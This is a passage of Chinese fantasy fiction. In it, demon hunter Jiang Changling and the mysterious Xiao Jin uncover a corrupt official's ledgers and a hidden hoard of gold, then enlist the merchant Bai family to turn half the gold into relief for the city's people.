“你吃老百姓的人血馒头,用他们赚的钱赔给他们,这就是所谓慈善么?”姜长泠一针见血道。
潘秉坤无措地挪了挪膝盖时,孟大人的回音也传了过来。
“已派增援,你的认罪书我会尽快拟好的。”
这番话的意思就是已经给他定了死罪...
潘秉坤不认命,于是一鼓作气便直起身子冲了出去。
他刚跑到转芒堂的正中央,便一脸苦痛地倏然僵直跪了下来。
“饶命…啊…”
萧烬回头看他,潘秉坤便抬起手死死掐着自己的脖子躺倒了下去,憋得满脸红紫。
“且慢,他手中的妖仆有用。”姜长泠劝道。
“马上没用了。”萧烬道。
只见潘秉坤痛苦挣扎着,直到咽了气,他那掐住自己脖子上的手才松开。
“你。”姜长泠愣愣看向了萧烬。
她本想说潘秉坤就算是死也应该交由二处处置的。
因为手上沾染血污又背负了一条人命实在太过沉重。
可这位从魔界来的春风拂意的萧公子并不这么认为。
她对他的印象忽而有些矛盾。
萧烬朝外面点了点头:“出去看看。”
姜长泠将信将疑地走到了外面,果不其然,外面已然有所变化,空中忽然多了一层灵力结界,若隐若现地波动着。
这是二处的支援到了?
这等用结界笼罩青竹城的行为可是封城。
忽然间,在她一旁的妖都大门浮现出一个金色的法阵。
姜长泠下意识退开了几步。
半晌,法阵走出一人。
来人是名男子,一身墨绿色衣裳,发髻被整齐梳起,举止雅态。
来人看见姜长泠便低头行了一礼:“失敬,在下是从淮庆城妖都二处前来支援的捉妖师黎追。”
还不等姜长泠作出回应,那金色的法阵中又钻出来好几个人,其中有男有女的统一穿着青白色的劲装,纷纷嬉闹着推搡到了黎追身上。
“多谢黎追大师兄啦!”
“谢了黎大师兄!”
几人道谢后便擦着她肩跑了出去,而黎追看着他们离开的背影无奈道:“下回可不许蹭我法阵了!”
“听不见!”
姜长泠也顺着方才离去的几名捉妖师的背影转身看去,无意发现了她从未见过的一幕。
数个金色法阵在空中四零八落地展开,分别落下一名捉妖师就隐于了街道之中。
她忽而有些感叹二处的支援速度。
传送阵开法各有种类不同,分别有按照距离传送、灵力追踪传送和记忆传送。
难度都是依次递增的,其中距离传送是灵力消耗大且最简单的方法,剩下两个反倒不怎么费用灵力。
这么想来,二处其余的捉妖师应是用了灵力追踪才能那么快的赶过来的。
“姑娘,你这身上是怎么了,需要我先帮你暂时止血疗伤吗?”
黎追见姜长泠一身血污,衣裳上还破出了几道口子,不用想也知道事态的严重性。
姜长泠回过身来行礼道:“多谢黎大师兄关心,在下妖都三处捉妖师姜长泠。”
黎追眼中闪过惊羡:“原是同道中人,我还以为你是哪家小姐呢,那你这浑身伤可是被罪妖所伤?”
“此事说来话长,不过我的伤口已经痊愈了。”姜长泠莞尔。
“那便好。”黎追点了点头开始打量这周围,确定是传到了妖都三处无误,“我此来是奉孟主办大人之命前来缉拿曾任督办潘秉坤的。”
说完,他便亮出一封纸张黄旧的文书,上面字迹虽有些斑驳,但一枚印着的清阙堂红色字样的印章在纸上格外显眼,落款上还有着孟绝二字。
“但是...督办就在方才已经死了。”姜长泠犹豫道。
“啊?在哪?”黎追收起文书。
姜长泠独自略过了黎追身旁,向转芒堂走去:“请随我来。”
再回到转芒堂时,她无意看见萧烬正坐在堂上闲暇地翻着潘秉坤桌案上的书籍。
不知为何,她的情绪似乎因此有一点异动。
她原本以为萧烬会像往常一样离开的。
“这...这些都是三处的人吗?”黎追看着满堂尸体不免有些惊怒。
“是。”姜长泠回过神来。
“这潘秉坤竟做这等丧尽天良之事,害死这么多人。”黎追目光扫过遍地尸体,最后落在潘秉坤的尸体上,看着他满脸紫红,尸身已然僵硬,他不免啐了一句,“真是自食恶果。”
姜长泠还想着黎追应该还会问她关于潘秉坤死因的一些问题,本已经在脑海中编好了答案,谁知,黎追直接从衣襟处掏出了一个乾坤袋施法朝他一点。
“既然如此,生要见人,死要见尸,也让我好交差一点。”
于是潘秉坤的尸体就这么被他收走了。
“对了,冒昧问一句,姜师妹,你是什么阶级的捉妖师?”黎追一边收好乾坤袋一边问她。
姜长泠道:“在下不才,才为中阶。”
“中阶已不算平庸了,还算厉害。”黎追刚笑着说完,在他面前便空降下一张符纸,正忽闪着灵力,他瞬间敛去了笑容无奈地接下符纸。
“嗯...姜师妹,我有个不情之请,
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不知你可否呆在此处将潘秉坤的所有文书整理一番?我先去支援他们,应该在太阳落山前赶回来找你。”
姜长泠颔首示意。
“哎,那位公子又是谁?”黎追刚想走却又折了回来,看向了在堂上坐着的萧烬。
萧烬翻册子的手停顿了下,抬眸朝他看了眼又重新看回了册子。
一声没吭。
黎追见他不说话,转而看向了姜长泠。
她应付笑了一声,脑筋飞速运转道:“他...他是我一个朋友,平时比较沉默寡言,我怕他有危险所以暂时让他跟我呆在一起罢了。”
姜长泠见黎追还想问点什么于是连忙开口劝道:“黎大师兄,你的师弟师妹该等急了,还是先去支援先吧,我保证他不会闯祸的。”
“...也是,那我先走了。”黎追想了想也不多计较,捏着符纸走到了一处墙面,伸手用灵力绘出了个金色传送阵,接着钻了进去便消失了影踪。
见黎追离去,姜长泠才呼一口气向堂上走去:“你看出什么异样了?”
“有两本账簿足以说明他贪污,但这里并未有他与姓钱的罪妖贩卖记录。”萧烬将桌案上的账簿和相关册子都叠在了一块,从那太师椅站了起来,“若是看那罪妖记录册子一一与罪妖对照的话,无异于大海捞针。”
姜长泠也没想到萧烬会看得那么详细,怔愣问道:“萧公子何必做到这个地步?”
“别多想,我就是有空顺手而已。”萧烬抱臂,“不必言谢。”
姜长泠又把多谢咽了下去。
“既然此处没有,那看来还要去潘秉坤的住处才能再搜刮多一些情报。”姜长泠凝眉道。
还不等姜长泠反应过来,萧烬就扣了扣桌子,一层结界屏障便由内而外扩去。
“这里有我的结界庇护,不会有人能擅闯进来的。”萧烬挪动步伐,走到她身边继而又问她,“他的住处远吗?”
“...不远。”姜长泠道。
“那便走路过去,你带路。”
半晌,姜长泠才缓过劲来移动步伐,不免问出心中的疑惑:“萧公子是从何时开始就发现我们之间有着禁咒牵连的?”
萧烬直言:“就在你被虎妖打的奄奄一息那晚。”
“这么早。”姜长泠有些惊诧,“那为何现在又打算将有禁咒这回事告知于我了?”
“因为我发现与其在暗中救你倒不如坦言在你身边待着,至少这样你能少受一点伤。”萧烬淡淡道。
姜长泠听这话的意思,是萧烬觉得她所处的环境太过危险所以容易引火烧身,而他在她身边就可以帮她规避危险?
这么想着时,她突然觉得自己太弱了。
而萧烬就像是看穿了她的自薄道:“我的意思是,你一个人时不喜欢顾及自己安危,但你现在知道身上多了一条性命便会有所收敛,我也能放心些。”
姜长泠不安的心绪忽然被抚平,却还是清醒地说:“该做的我还是会去做的。”
闻言,萧烬看了她一眼,似有些无奈,还是妥协着说了一句:“那你便去做吧。”
27. 地牢
基于都是妖都分配的住处,所以潘秉坤的住处亦不会离妖都的转芒堂太远,不过走了会就到了一座名为昌德府的地方。
这里便是潘秉坤的住处。
府门大大敞开着,风吹不动,地上的薄雪也难免踩着好几个脏乱的脚印。
不用想也知这里面是怎样的乱况。
姜长泠顺着凸起的石板路直达主府,看见府内的瓷器桌椅陈设都倒塌了一地,想必是潘秉坤手下的妖仆也有所感应知道他死了,为了解恨将整个昌德府都砸了个稀碎。
不过好在潘秉坤的桌案还尚存着。
姜长泠踩踏过了一路的零碎到了潘秉坤的办事桌案旁,大致翻了翻抽屉和桌面,只找到了一些无关紧要的文书。
不过想来也是正常的,谁会将这些极为隐私的账本放在这么显眼的位置上。
定还有其他地方。
这时,萧烬走到了她旁边,径直拉开了抽屉,将里面的文书尽数掏了出来,露出光滑的底部,找到一处不起眼的小缝隙掀开,一本老旧的册子便静静出现在眼前。
“他在妖都的办公桌案中就是这样藏起的另一本账簿。”
“你是如何想到的?”姜长泠转头看他问道。
萧烬迎上她的目光笑着说:“猜的。”
其实他是看见过。
姜长泠也没多想,点了点头拿起了那本册子。
随手翻了翻,发现这本册子上记录了许多与钱恒亮的金钱往来,正是给潘秉坤革职定罪的关键。
不过潘秉坤倒是定罪了,还差一个钱恒亮呢?
想来还要去钱府取证一趟。
时机紧迫,她当即从袖中抽出符纸拍在桌上,准备用着潘秉坤桌上的还尚存着的毛笔绘制传送符立马传到钱府上去。
她刚拿起笔,便被萧烬一把抽走。
姜长泠一脸懵然地抬头看他,并没说话。
“又画符做什么?”萧烬问她。
“还有个罪人钱恒亮没有取证。”姜长泠答。
“我看着有这么不靠谱吗?”萧烬挑眉。
“什么?”
萧烬无言抬起手握住她的手腕,不过一瞬,姜长泠便感知到了周围环境的温差,而眼前也换一副场景。
所及之处一片白茫茫。
她再定睛一看,便发现了她和萧烬正处在钱府的院子之中。
远处还有着一人一妖打斗得正酣。
不过很快那妖就败下阵倒下,解决完后那捉妖师一个翻飞便跳出了钱府围墙。
要不是姜长泠看到那妖还在流血,她甚至觉得她在做梦。
这是瞬移,她心里默默地消化了一遍。
“走吧。”萧烬率先向前走去。
过了会她也跟了上去。
这钱府虽相比于昌德府来说要大上许多,但也要比昌德府要乱得更多。
以至于姜长泠一眼望去根本无从下脚。
不过她正好瞧见有一处地方格外不同,但被杂物堆积着难以看清。
于是她踩着满地凌乱走去,将大件的陈设拎起抛去一边。
待拨开其他杂物,便发现这有个漆黑一片的洞口。
而这洞口的门阀已经不知所踪。
里面似个深不见底的井口,但好在外头的日光照下来能看见最上一步的台阶。
姜长泠抽出燃烧符拿在手上便只身试探着走了下去。
密室的洞口不大,但姜长泠下去的这一路明显感觉到两边正逐渐变得宽敞。
而一路上她都能看到墙壁上有烛台附着,到平地时,她已经点亮了整条阶梯的灯。
地底下,她凭借着微弱的火光便大致地辨认出这是个地牢。
她忽然想起长孙归璟生前被绑的地方。
应该就是在这。
倏然间,往地牢延伸的那条长廊猛然亮起,所有的壁灯都被点燃了起来。
姜长泠见怪不怪,不用想也知道是谁做的了。
整片地牢敞亮起来,一眼望去尽头,姜长泠就看见末路处堆了好几条尸体。
怀着警惕之心,姜长泠缓步走了过去。
待她走近看,发现这些尸体都是钱府上的妖仆,压在最上面的尸体背部还被射了几只箭,且这箭威力十足,直直射穿了那妖仆的胸膛。
这些妖仆一瞧就知是死得不久,至少应该是今天才死的。
而这死法也不应该是被人所猎杀,毕竟不会有捉妖师上赶着进密室去捉妖。
这些妖仆在钱恒亮身边呆的久,估计是知道了钱恒亮的秘密,要来这地牢寻个真相,却被不知名的箭器所杀。
很可能他们误触引发了钱恒亮在此处布置的机关暗器。
从所有推测看来,她只能将疑点放在这堆尸体前面的那堵墙上。
可她对机关这方面懂得并不算多。
如果她是一个人的话,她还可以大胆的尝试机关,可此行多了一名萧公子,她总觉得有些不自在起来。
内心挣扎一会,她还是转过身对他说:“萧公子,此处可能会有机关。”
萧烬静静依靠在墙边笑了声:“怎么,没把握保护我吗?”
姜长泠心下一紧,没想到还真应证了面前人所说,一旦知道了自己身上还背负着另一条人命行事便会有所顾虑…
可他的修为高不可测,就连蓬莱灰豹都可以压制住的人,又有什么好担忧的呢?
于是她转过身去,再仔细地端详了一遍那堵石墙,手中准备好了一张符咒。
正当她试图推动那堵墙时,便发觉有些不对劲的响动,从远处传来,她立马将手中符咒向后掷出撑开一层结界,与此同时,另一栋墙面上已然出现了几个黑黢黢的洞口,好几支箭矢就向她射来。
一一被她的结界所挡下。
而前面的石墙已然变成石门慢慢向内旋转了起来。
接下来姜长泠又听到了响动的声音,她看向两边墙体并无发现异常,察觉可能是头顶时,她连忙后退数步,而那箭矢也自上而下擦过她的鞋尖通通插在地上。
这箭矢速度之快,容不得她再做多思考,她本想转身拔腿就跑,可无奈身后撞到了萧烬不得已停了下来,冷汗发了一身,她甚至觉得自己的脚背下一瞬便会被那尖利的箭矢会穿过将她钉在地里。
可下一发箭矢迟迟没有射下来。
姜长泠缓了缓,抬眼看向那石门时已经敞开了一半。
忽然间,她余光中瞥见了一只骨节分明的手撑住
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了墙面,且墙面亦开始有所变化,似是又要放箭的模样。
“还不走?”萧烬的声音从她身后传来。
她反应过来后就往前奔去,就在她要冲进石门前,听到了箭在弦上破风而出的声音。
她差点以为自己要中箭了,却还是毫发无损地进了石门。
当她回头看去,石门却十分有灵性轰隆关上了。
一片死寂。
石门内是一条长不见尽头的甬道,不同的是,这边的墙壁上都挂有夜明珠长明。
姜长泠心想,若是钱恒亮在这条甬道上设有机关,那这附近或许会藏有开关。
她四处摸寻了一番,并无发现。
无法,她只好以身试险,一步一步试探踏入甬道。
几乎在她走出的每步,她手中的符纸就会甩动一次。
庆幸的是,这一路上再没有什么意外发生,她顺利地到了一间密室。
门口后依旧摆放着屏风。
她小心翼翼地绕过屏风走进去,眼前不免被一堆金灿灿的光芒所闪。
这里的地方不算大,但能容纳下几百条金条。
姜长泠眼睛都瞪圆了。
而一本老旧的册子格格不入地摆放于金条山之上。
她走去把册子拿在手中,翻看了几页。
发现这确实是一本与潘炳坤往来的账簿,不过记载的年份有限,已经写满了,而另外一些账簿便不知存放于何处了。
不过仅凭这一本也够定钱恒亮的罪证了。
可账本带出去容易,那么这些黄金该怎么办?
她正思忖时,便发现了这座金山的底下与旁边的土地颜色截然不一致。
她蹲下摸了摸这边界,莫名地感受到了一股灵力的波动。
这底下居然还布置了阵法?
可她对于这点毫无思绪。
莫非是防止偷盗的?
于是她试着慢慢地挪开了一条金条,就在这金条的重量快尽数握在她手里时,那底下的法阵灵力忽然躁动地厉害。
她赶紧放下,那灵力又消失殆尽。
她想起来,这账簿原本也是堆放在金条山之上的,可她拿下来时并没有感受到任何的灵力波动。
这说明这底下的法阵只与金条有关。
或许是跟金条的重量所挂钩。
有关于重量的阵法,她倒是想起来几个。
其中有一个便有些符合当下的状况——困离阵。
传言此类阵法用于镇压或捕捉困住会飞的凶兽,使其一旦碰到地面的阵法便会自化成无形的牢笼,只要离开了地面一寸,就会被牢笼拦住。
这阵法便是通过感知其重量形成的牢笼。
但这金条山并没有对外界设有屏障,任何人都可以拿放自如。
加上这底下阵法,想必会是陷阱。
她看的书太古老,还不能与时俱进。
毕竟这年头连解灵印都有,这阵法的效果被改得五花八门也不奇怪了。
姜长泠实在对这阵法没有头绪,只好问道:“不知萧公子可对这黄金底下的阵法有何见解?”
她回过头看去,萧烬果然神不知鬼不觉的进了这间密室,正依靠在墙边看着她。
28. 白府
“顶上还有一个法阵。”萧烬道。
闻言,姜长泠站起身向顶上望去,才发现顶上的颜色与金条山底下的颜色一致,都为深色。
她貌似有了些头绪,一跃上金条山之上,伸手触摸了下顶上的法阵。
轰隆一声,仿佛是触动了什么机关。
她警惕地看向四周却发现没有任何变化,只是她踩着的这堆金条似乎在将她缓缓托起。
而顶上的土层也竟在慢慢上移,似与金条山同步进行着。
这势头是向着外头奔去的,这应该不算件坏事。
过了一会,她便被金条山托着稳妥地到了地面。
而原本上移的土块都被丢到了一边。
姜长泠不禁被这精妙的阵法所震撼了一瞬。
“那你打算拿这些金条怎么办呢?充公?”萧烬又在转眼间出现在她面前。
她从金条山上跳下,犹豫道:“我还没想好,但这些钱定是要还给百姓的。”
“可一旦你要上交证据昭告他们的罪行,这些金条只能充公。”萧烬饶有兴趣地抛了个难题给她。
确实如此,她倘若要上交账簿,那妖都定会派人来查他们贪污的钱财。
若到时发现并没有账簿之上记录之多,怕是会遭受质疑。
况且这金条山,她也没有能力带得走。
思忖了会,她灵机一动想到个两全其美的方法。
若是让白家出动搬走这一半的金山呢?
反正钱恒亮的账本也是残缺的,他们也无法清算钱恒亮的所有财产。
只要能分走这金条山中的一半也够了。
搬走一半金山后,再让白家用这钱以他们的名义支援全城赈灾,如此一来,白家赢得了风评也造福了百姓。
这么想着时,姜长泠立马亮出传音符:“白祝锦,你现在在何处?我有急事要与你相议,事关大局。”
白祝锦那边想必还算清闲,立马给了回音:“我在长青街的添意茶馆。”
而这次的飘下的传音符被姜长泠一把抓住,传音符便没有像往常一样变成灰烬消散而去。
接着她将这符纸递到了萧烬面前。
那符纸上还晕染着白祝锦的灵力。
“以我的能力还不能做到追踪灵力,只能通过画符找到他。”姜长泠道。
萧烬只是看向她递来的符纸一样,就在这金条山周围随手布下一层结界。
“去找他做什么?”萧烬问道。
姜长泠一时解释不了太全面,只好说:“一会你便知道了。”
若不是先前她在画符之时被萧烬夺了毛笔,她怎么也不会想到向萧烬讨援。
只不过她要是再掏出符纸出来画符的话,恐怕又是会被他打断。
萧烬乌黑的眸子中倒看不出喜哀,只不过没什么情绪看人时,总给人一种淡淡的善意。
他接过符纸便拉起了姜长泠的手腕。
一瞬间,萧烬便追踪到了白祝锦所在的添意茶馆之中,且近在他身边。
茶馆内正打的如火如荼,只不过在打斗之中的人并不是白祝锦。
此时他正坐在角落默默看着这场酣战。
“你...姜长泠?你是如何过来的?”白祝锦转头看向身旁突然多出来的两人。
“来不及解释了,你可知督办已死?”姜长泠单刀直入问道。
白祝锦表情瞬间变得惊叹:“什么!莫非也是被这些奇怪的罪妖所杀吗!”
“并不是,这些罪妖就是他放出来的。”姜长泠又答道。
“什么!”白祝锦气愤地站起身来。
姜长泠尽量用简短的语句阐述了今天发生的事情,把起因都讲了一遍。
“要回白府…?”白祝锦难堪地指向茶馆的中央,“可这里还有只极为难缠的妖。”
原本那二处来支援的捉妖师还与那蜈蚣精在茶馆正中央打得不分你我,可就在白祝锦抬手的瞬间爆体而亡,血液溅开染红了一片。
那捉妖师还以为是白祝锦的功劳,缓过神来他喘息着向白祝锦道:“师弟,你竟有如此实力竟在这扮猪吃老虎?差点害我丢了性命你觉得很好玩是吗!你们三处的人就是这样教你们的!?”
白祝锦也傻眼了,连忙摆手解释:“误会了师兄,方才那蜈蚣精不是我解决的,我也不知道这是怎么回事!”
姜长泠也猜到了约莫是萧烬的手笔,出来打着圆场道:“师兄,这其中确有误会,方才是我所为。”
“你...你?!”那师兄更为惶恐,还没说得出第二句话,便被一股奇怪的力量所支配控制,莫名其妙地从窗口飞了出去。
“诶!师兄!我还没跟你交汇灵流呢,怎么就走了!?”白祝锦对师兄的背影喊了一声。
“以后总有机会的。”姜长泠安慰道。
白祝锦失落了一会后看向她,全然没注意到萧烬的存在,又问道:“你方才所说的可是真的?”
“千真万确。”姜长泠清透眼眸中流露坚毅。
“行,我可以立马回府中招摇上一批马车,但你要说的是假的,且不说我会被我爹娘扁死,我哥会先把我杀了。”白祝锦边说边往茶馆外面走去。
他们踏出街上时,小雪忽而纷纷飘落,再放眼望去,那点点雪花便渐缓降在了在遍地的尸体之上。
满目苍凉。
白祝锦和姜长泠两人的衣裳上多多少少都撕裂开了些许口子,沾染上了血污。
奔波流转了半天,两人看到这样一幅景象都不免愣着停了下来。
其中尸首之中还不乏有几个眼熟的面孔,似是他们的师弟师妹。
一阵无力感忽然袭上他们心头,好像无论他们再怎么努力也扭转不了这个局面。
“师弟师妹们等我,我定会为你们立冢的,定不会让你们变成孤魂野鬼的!”白祝锦赶忙用手背抹了一把脸向远方跑去。
姜长泠也默默握紧了拳头,追上了白祝锦的步伐。
这一举动也被萧烬默默收入眼底。
*
白府外。
周遭寂静一片。
白祝锦叩响府门,过了一会,门突然拉开从里面刺出一把剑直冲他胸膛,幸好他敏捷闪过,剑尖落了个空。
“是我!白祝锦!”白祝锦着急道。
“什么,祝锦?”门缝被拉开,门后人曝露出来。<
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是名持着剑的中年男子。
“文叔,我爹娘和哥都还可无恙?”白祝锦怔愣在原地问道。
文叔山下打量了一番白祝锦,眼眶一热:“你还知道关心老爷夫人!你自己上哪打架去了,知不知道全府上上下下就等着你回来!”
“我...我这还不是为了大义所献身。”白祝锦说完便挤进了府门,“我此次归来可是身负重任的!”
文叔还没来得及批他就让白祝锦一溜烟跑了,于是门外就留下了文叔和姜长泠面面相觑。
“请问你是?”文叔带着质疑看向她。
姜长泠心知现在身上有多狼狈,再加上白家人不喜与捉妖师打交道,她只好说:“我姓姜名为长泠,是白二公子的朋友。”
“哦。”文叔的目光放得柔和了一些,“今个外边情况突变,一个姑娘家家的可要保护好自己啊。”
“不过,你此行前来跟着祝锦回来的目的是什么?”文叔刚想关上门,继而又探头问道。
姜长泠心想白祝锦一人进去定是劝不动白父白母,于是她道:“避难。”
闻言,文叔琢磨了片刻,还是打开了另一扇门:“那你先进来暂时避一避吧。”
“多谢贵府收留。”姜长泠拱手行礼,走进了白府。
一进白府她便看见了数十名侍卫正站在空地处一副蓄势待发的模样。
难怪白府上上下下安然无恙。
还未走到主厅堂,她便听到了白父大发雷霆的声音。
“你这逆子是要气死你爹我啊!你现在不给我呆在家中,还要我给你派什么车马载什么黄金!我看你在妖都呆的脑子都不清醒了!”
“祝锦,你可知外面这乱况正是妖都那群人看守不力做出来的,他们根本没有你想象中的好啊。”白母见白祝锦执迷不悟,声音都发着颤。
而在门外正站着一年轻的男子似乎是在外面听着并未踏入厅堂。
姜长泠还未想好见到白家人的说辞时,那年轻的男子便察觉到身后有人靠近,转过身来看她。
他皱起眉问道:“你是何人,如何进来的?”
姜长泠又只好把对文叔介绍的话又再说了一遍。
“既是胞弟的朋友,想必就是捉妖师了?”那人问道。
“...是。”姜长泠不得不承认。
“嗯。”那人一身月白色锦衣棉袍,虽穿着臃肿,但难掩身形瘦削,脸型瘦小,“我名为白顺意,是白祝锦的哥哥。”
姜长泠立马拱手拍上马屁:“久仰大名,早些时候我便从白祝锦口中听闻过顺意兄的行事作风,可谓算得上商界楷模,今日再一见真容,不曾想竟这般风度翩翩。”
白顺意挑眉,显然是被哄开心了,嘴角止不住地上扬:“既然如此,你便说说我在那小子口中的行事作风是如何的?”
“自然是雷厉风行,权衡利弊,商榷有方,听说这白府都是经顺意兄之手才能扶摇直上的。”姜长泠轻笑,说起客套谎话来倒是不打腹稿。
“姜捉妖师倒是巧舌如簧。”白顺意欣赏地看了她一眼便走下阶梯,“方才胞弟所说的什么运载黄金是怎么回事,想必与你们妖都有关吧?”
29. 立场
“正如顺意所言不错,外面罪妖四窜,青竹城陷入水深火热,都与妖都有着密不可分的关系。”姜长泠道。
白顺意狭小的眼眸微微弯起,向旁边一请:“这些事情我倒是了解一二,不如去偏厅详聊?”
姜长泠也微笑颔首,随着白顺意指引的方向走去。
她被迎进偏厅,坐下时便有侍从端来茶水。
“路上艰险,想必过来时受了很多苦吧,不着急,慢慢说。”白顺意坐直时,颇有着几分家主的模样。
“顺义兄想必是与钱家打过交道吧,可知他是如何垄断青竹城的典当行业的?”姜长泠试探问道。
虽说时机紧迫,但她也并不能所有情况一并托出,万一这事也涉及白家的利益,她不仅挪不走那堆金条山还可能将自己的后路给断了。
白顺意听完仔细思索了一会才答道:“算上有过交易,但不多,你也知道,白家不喜与那些旁门左道靠得太近,不知姜捉妖师所谓何意?”
这句话里的意味就很明显说白家的关系和钱家并算不上好。
况且此次万善堂的拍卖会她的确没有看到白顺意的身影。
姜长泠斟酌后直言:“钱恒亮死了,他手底下的妖仆尽数被放出,正肆虐青竹城,我现在手上有一笔定他贪污的证据,就是想让他扣上罪名,但赃款,我想给百姓留下一点。”
白顺意似乎有些消化不过来,偌大一个足以将青竹城重新洗牌的机会居然就这么摆在了他的眼前。
且还是从他那不争气弟弟的同辈朋友口中说的。
“你继续说。”白顺意沉思。
“我的想法很简单,钱恒亮留下的钱财约莫有个几百金条,若是可以得白府相助运回来一半,后续再将这些钱财归为白府所用,再以白府的名义接济灾后的百姓,我的目的便达到了。”姜长泠娓娓道来。
白顺意听完后十指交叠,笑着问道:“姜捉妖师既然有本事在这妖潮袭击中不死,想必也算是武功高强,何必不自己偷偷拿几条金后远走高飞呢?那样姜捉妖师后半生也无需再当捉妖师了,不好吗?”
茶杯上的热气上升环绕,姜长泠怔愣会,拿起饮下一口。
那滚烫的茶杯被她握在手中,如同她那炽热的跳动心脏一般。
“民生本多艰难,却还要被钱府所害,被迫流离失所,家破人亡,而我只是名再普通不过的捉妖师,孑然一身,又无后顾之忧,要是能为百姓减少一点负担润及百家也好。”
这番话忽然让白顺意亮了亮眼眸,他赞同着点头:“姜捉妖师如此大义,不该是归于妖都麾下的人啊。”
“顺意兄谬赞了,白祝锦也与我一样。”
“他,他不一样,他可没有这么有脑子,空凭着一腔热血,什么都不懂。”白顺意摇摇头。
“既然这是为了大义,那我便与你赌一回,我马上给你备辆马车和马夫。”白顺意站起身来,见她一身狼狈,又问,“你需不需要先换一身衣服?”
姜长泠也站起身来,回绝道:“不用了,多谢顺意兄的好意,马夫也不必了,一辆马车足以,这路上危险,还指不定会发生什么意外。”
“也好。”白顺意率先走出偏门,跟门旁的侍从交代了两句后,那侍从便走了。
“马车我已经谴人给你准备了,你在堂前稍等一会吧。”白顺意回首对他微微一笑便离开了偏厅。
姜长泠也颔首示意,跟着走出偏厅到府门前站了一会,便听见了隐隐约约从主厅堂传来的嘈杂声和哭声,但相比于她刚进来那会已经算是有所收敛。
接着一名侍从走到她身旁指引弓身道:“这位客人请随老奴来,马车在后门给您备好了。”
“现在局势动荡,若是客人您走正门太过显眼容易被发现,所以大公子就让老奴在后面给您开道。”
“有劳。”姜长泠道。
走到后门,两匹深棕色的马被带着辔头,后面连牵着一方轿子,看起来就像是有什么贵客要出远门似的。
“客人,路上可要多多保重,老奴在后门接应你。”侍从对她一弓身。
姜长泠坐上轿前,牵起缰绳对侍从道:“多谢。”
那后门也被另外一名侍从推开,她甩动缰绳,那马车就缓缓向前走去。
马车速度加快了起来,外面的雪也越渐飘大,寒风挟雪扑面向她吹来,裸露在外面的肌肤不免感受到丝丝湿冷。
鼻腔也变得干燥起来。
“姜长泠。”
一个熟悉低沉的声音忽而从她身旁传来。
她牵着缰绳,循声往一旁看去。
萧烬不知何时坐在了她旁边,一只手正搭在支起的膝盖之上,散漫又纤贵:“民生多艰又与你何干?”
姜长泠已然有些习惯萧烬的凭空出现,并没有过多的惊讶。
她思索了会便答:“我只是做了我想做的事,仅此而已。”
“世间枭雄不尽其数,又何时轮到你出风头?”萧烬问道。
“那我成为这乱世之中的一枚关键棋子也不错。”姜长泠长发飘飞,没被束起的碎发不经意间拂过脸颊,细碎的光芒揉进她眸中。
一双灵动的眼睛笑意盈盈望了他一眼,“只不过我这一路幸得贵人相助,暂时还死不了。”
不知为何,这一眼让他心跳骤然雀跃。
有那么一刻他嗅不到了冬日的寒气,体会不到外界的冰冷,只感觉有一股热盛之意涌上他心头。
“愚笨。”萧烬不去看她。
姜长泠装作听不见,勾起嘴角:“众人皆醒我独醉,那这样看来,萧公子也应与我同醉才是。”
“何出此言?”
“我先问你一个问题,你原本便是魔界之人,为何要来这人间一趟?”
萧烬本不想直言,但向来又百无禁忌,便答:“寻一枚法器,再多的无可奉告。”
“既然如此,萧公子修为浑厚,实力深不可测,还深谙意念之术,大可以囚我于牢笼之中,只要每天能给水喂饭不死便好,但你并没有这么做,难道这还不算与我同醉吗?”
的确,仔细一瞧,其实两个人都在做吃力且不讨好的事情。
“...不算,我是事出有因。”
萧烬话音刚落,姜长泠手中的缰绳就
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不受控地脱落,整个人便不自主地转身掀开帘子钻进了轿子之中。
姜长泠:?
一入轿中,暖意便从四面八方向她裹挟而来,而轿子中间摆有一个暖炉烧得正旺。
后座之中她甚至还看见一套折叠整齐的衣裳。
莫非这些都是为她准备的?
“换与否随你。”萧烬的声音从门帘外传来。
“多谢了。”
姜长泠心里一时不知是何滋味,为了不辜负萧烬的好意,她也只好将外衣换了下去。
虽说这件衣裳与她平日里穿的颜色差不太多,都偏暗色素雅一卦,但那布料细腻光滑,她一摸便知道名贵不凡。
这样下去,她要欠萧公子多少人情?
她默默叹了口气。
这一路上或许是有萧烬的庇护,最终顺利地抵达了钱府之中。
她从轿中出来时,萧烬看了她眼总算是夸了一句:“终于顺眼了。”
姜长泠窘迫地一笑而过。
接下来,金条就被萧烬用意念操纵着一根一根地飞到了轿子之中。
不过一会填满了。
姜长泠在一旁帮不上忙,只好默默看完了这全程。
“无需言谢。”萧烬略过她身边。
于是乎,两人一路上无言回到了白府。
敲响白府后门后,府门仅仅是开了条细微的缝。
“顺意,怎么你也如此糊涂,祝锦不懂事便算了,难道你还不懂事吗!不准让她进来!”白父盛怒的声音从府里传来。
府门又被关了上去。
“爹,既然来了别人就是客,怎又将客人拒之门外的道理?好歹先让人进来再详谈吧。”白顺意着急道。
然而府门又被打开了一条缝隙。
“我看今天看谁敢给她开门!”白父大叫,“一个来历不明的捉妖师在这种特殊的时期请进白府,莫不是请狼入室!”
府门被又关上。
姜长泠听到这番话愣在门口尴尬不已。
毕竟她确实如白父所言,不过是一名捉妖师罢了,并没有什么人脉或者实力能够证明自己的诚意。
做这种事时只会让人觉得她宛如只蜉蝣妄想要救济苍生一样可笑。
“爹,她送回来的是钱家这些年的赃款,若能借我们之手将这些金条转化为粮食广予百姓,白家的名声将能更高一层楼,而我们也能从中汲取惠利,这乃为两全之法啊。”白顺意辩驳道。
白父哼冷一声又道:“顺意你设涉世还是不够深,做事与行商要一样才行,必须如履薄冰才不会犯错,妖都和钱恒亮都不是什么好东西,他们狗咬狗的事,我们白家才不能掺和这趟浑水,否则便会引火烧身!”
“爹,恕顺意不孝,与您看法不尽相同,顺意认为行商不仅要步步为营,还需要大胆,有孤注一掷的勇气才行,这次机会千载难逢,若是错过了我们白家就将会永无出头之日。”
白父并没有被这一番话给打动丝毫,只是语气变得平和了些:“我们白家甘于平庸,这辈子只要不做逾越律法之事怎么样都好说,但唯独这些事不行。”
30. 不愉
“这些事是算哪些事?爹您也知姜长泠也算是祝锦交到的为数不多的一个朋友,若你不信任妖都,也要信祝锦的眼光吧。”白顺意劝道。
白父忽然沉默了下来。
这么多年来,他是知道白祝锦的脾性的,虽说不务正业,但品行是端正的。
在他还没准许白祝锦去妖都时,他常常让白祝锦接触富家人脉,这也致使他性格变得孤僻不爱说话,问起原因来也只会沉默。
直到白祝锦去了妖都做事后整个人才焕然一新,变得开朗活泼起来。
而且,白祝锦变了性子后他也不曾见过在这期间白祝锦有与谁交友。
